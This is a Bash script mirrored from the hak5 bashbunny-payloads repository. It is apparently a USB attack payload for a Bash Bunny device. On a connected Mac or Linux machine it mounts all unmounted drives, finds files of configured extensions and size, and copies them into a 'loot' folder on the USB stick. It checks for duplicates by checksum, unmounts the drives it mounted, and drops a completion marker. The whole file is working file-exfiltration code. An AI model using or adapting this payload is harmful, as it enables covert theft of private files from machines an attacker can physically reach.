mirror of
https://github.com/hak5/bashbunny-payloads.git
synced 2025-10-29 16:58:25 +00:00
80 lines
3.6 KiB
Bash
Executable File
80 lines
3.6 KiB
Bash
Executable File
#!/bin/bash
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# Variables (defined by user in payload.txt)
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mountpt=$(mount | grep -i BashBunny | cut -d ' ' -f 3)
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lootdir=$mountpt/loot/hss
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target_directory=$(grep -hi hss_target_directory $mountpt/HSS/payload.txt | cut -c 22-)
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target_extensions="$(grep -hi hss_target_extensions $mountpt/HSS/payload.txt | cut -c 23-)"
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find_file_size=$(grep -hi hss_find_file_size $mountpt/HSS/payload.txt | cut -c 20-)
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###### Create loot directory and remove nosferatu if it already exists, which serves as the indicator whether or not the script has fully completed in the past ######
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mkdir -p $lootdir
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cd $lootdir
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rm nosferatu
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mkdir ./backup
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touch ./checksums.txt
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chmod 777 ./backup/ ./checksums.txt
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mounted=" "
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mntdir=" "
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###### Mount all unmounted, connected drives and store theier device name to unmount them again at the end of the script ######
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# For MacOS
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if uname | grep -i darwin; then for i in `ls /dev | awk -v s="disk" 'index($0, s) == 1'`; do if diskutil info $i | grep -i "Mounted" | grep -qi "Yes"; then :; else mounted+="$i " && diskutil mountDisk $i; fi; done; fi
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# For Linux
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if uname | grep -i darwin; then :; else
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partitions=$(lsblk -o NAME,MOUNTPOINT -nr)
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while IFS= read -r line; do
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name=$(echo "$line" | awk '{print $1}')
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mountpoint=$(echo "$line" | awk '{print $2}')
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# Check if the partition is not mounted
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if [ -z "$mountpoint" ]; then
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# Attempt to mount the partition
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udisksctl mount -b "/dev/$name" && mounted+="/dev/$name "
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fi
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done <<< "$partitions"
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fi
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###### Find all files under a given directory of a given size and filetype, copy the files to a folder on the USB drive, and save their checksums to a running list ######
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find $target_directory -path "$mountpt/loot/hss" -prune -o -size $find_file_size -type f \( -name "" `for i in ${target_extensions[@]}; do echo "-o -iname "*.$i" "; done` \) -exec echo {} ';' | while read p; do
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if cat ./checksums.txt | grep -qw `cksum "$(echo "$p" | tr -d '\\\')" | cut -d ' ' -f1`; then
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:
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else
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if [ -f "./backup/${p##*/}" ]; then
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cp "$p" "./backup/`cksum "$(echo "$p" | tr -d '\\\')" | cut -d ' ' -f1`_${p##*/}"
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if [ $? -ne 0 ] ; then
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# Provide indication the drive was full, unmount only the disks that were mounted at the beginning of the script and delete any mount points created
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touch ./disk_drive_full
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if uname | grep -i darwin; then for i in $mounted; do diskutil unmountDisk $i; done; fi
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if uname | grep -i darwin; then :; else for i in $mounted; do udisksctl unmount -b $i; done; fi
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exit 1
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else
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echo `cksum "$(echo "$p" | tr -d '\\\')" | cut -d ' ' -f1` >> ./checksums.txt
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fi
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else
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cp "$p" "./backup/"
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if [ $? -ne 0 ] ; then
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# Provide indication the drive was full, unmount only the disks that were mounted at the beginning of the script and delete any mount points created
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touch ./disk_drive_full
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if uname | grep -i darwin; then for i in $mounted; do diskutil unmountDisk $i; done; fi
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if uname | grep -i darwin; then :; else for i in $mounted; do udisksctl unmount -b $i; done; fi
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exit 1
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else
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echo `cksum "$(echo "$p" | tr -d '\\\')" | cut -d ' ' -f1` >> ./checksums.txt
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fi
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fi
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fi
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done
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###### Unmount only the disks that were mounted at the beginning of the script, delete any mount points created and provide indication that the script completed successfully ######
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if [ $? -ne 0 ] ; then
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:
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else
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if uname | grep -i darwin; then for i in $mounted; do diskutil unmountDisk $i; done; fi
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if uname | grep -i darwin; then :; else for i in $mounted; do udisksctl unmount -b $i; done; fi
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touch nosferatu
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fi
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